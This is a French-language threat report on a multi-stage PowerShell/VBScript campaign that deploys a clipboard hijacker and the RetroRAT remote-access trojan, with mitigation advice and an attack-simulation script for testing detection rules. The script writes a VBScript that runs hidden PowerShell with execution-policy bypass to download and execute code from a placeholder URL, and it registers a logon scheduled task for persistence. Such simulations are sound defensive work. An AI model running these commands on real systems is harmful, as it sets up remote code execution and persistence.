Opération DualScript : Malware PowerShell Multi-Étapes Ciblant la Crypto et la Finance

Résumé

Le rapport décrit l’Opération DualScript, une campagne de logiciels malveillants en plusieurs étapes qui repose sur la persistance via des tâches planifiées, des lanceurs VBScript et des chargeurs PowerShell pour déployer à la fois un pirate de presse-papiers et le cheval de Troie d’accès à distance RetroRAT. Les attaquants stockent du PowerShell malveillant sur des serveurs externes et l’exécutent entièrement en mémoire pour réduire les opportunités de détection. RetroRAT enregistre les frappes, surveille les fenêtres actives pour les mots clés liés aux finances et envoie les données volées via un canal TCP C2 personnalisé. La campagne cible les activités liées aux crypto-monnaies et les banques américaines.

Enquête

Les analystes ont découvert des tâches planifiées configurées pour lancer des fichiers VBScript à partir de chemins accessibles en écriture par l’utilisateur, qui exécutaient ensuite PowerShell caché avec la contournement de stratégie d’exécution activée. Deux chaînes de livraison parallèles ont été identifiées : l’une récupérait un script Wallet.txt pour détourner le contenu du presse-papiers de crypto-monnaie, tandis que l’autre chargeait RetroRAT directement en mémoire. L’analyse statique a également révélé une logique anti-analyse, la création de mutex, un enregistreur de frappe multi-thread et une chaîne de poignée de main C2 codée en dur.

Atténuation

Les défenseurs doivent surveiller les tâches planifiées suspectes qui invoquent VBScript ou PowerShell avec des fenêtres cachées et des arguments de contournement. La détection des points d’extrémité doit se concentrer sur l’exécution PowerShell en mémoire, le comportement inhabituel de surveillance du presse-papiers et la création de mutex inconnus. Les organisations doivent également bloquer le trafic sortant vers les domaines malveillants et appliquer des contrôles stricts d’exécution pour PowerShell et VBScript.

Réponse

Si cette activité est détectée, isolez l’hôte affecté, désactivez les tâches planifiées malveillantes et supprimez tout artefact VBScript ou PowerShell persistant. Effectuez une analyse médico-légale complète pour le payload RetroRAT, les données de frappe capturées et le trafic C2 associé. Réinitialisez les informations exposées du portefeuille de crypto-monnaie et changez les identifiants bancaires. Restaurez les systèmes affectés à partir de sauvegardes propres et bloquez les domaines et adresses IP identifiés au niveau du réseau.

Exécution de la simulation

Prérequis : La vérification pré-vol de la télémétrie et de la base de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narratif d’attaque & Commandes :
  L’attaquant met d’abord en place un VBScript (dual.vbs) dans le répertoire de profil de l’utilisateur. Le but du script est de lancer PowerShell avec les drapeaux -WindowStyle Hidden and -ExecutionPolicy Bypass, puis de télécharger et d’exécuter un payload distant (simulé avec un simple Write-Host). Pour obtenir la persistance, l’attaquant enregistre une tâche planifiée (DualScriptPersist) qui exécute le VBScript à la connexion. Chaque étape produit les deux entrées EventID 4104 corrélées que la règle recherche.

• Script de test de régression :

  # -------------------------------------------------
  # Simulation d'attaque DualScript – PowerShell
  # -------------------------------------------------
  # 1️⃣ Crée un VBScript malveillant dans un chemin accessible en écriture par l'utilisateur
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # URL de substitution
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Enregistrez une tâche planifiée qui exécute le VBScript à chaque connexion utilisateur
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Forcez la tâche à s'exécuter immédiatement (déclenchement de la détection)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] Simulation DualScript exécutée. Vérifiez vos alertes SIEM."
  # -------------------------------------------------

• Commandes de nettoyage :

  # -------------------------------------------------
  # Nettoyage de la simulation DualScript
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Supprimez la tâche planifiée
  schtasks.exe /Delete /TN $taskName /F
  
  # Supprimez le fichier VBScript
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Nettoyage terminé."
  # -------------------------------------------------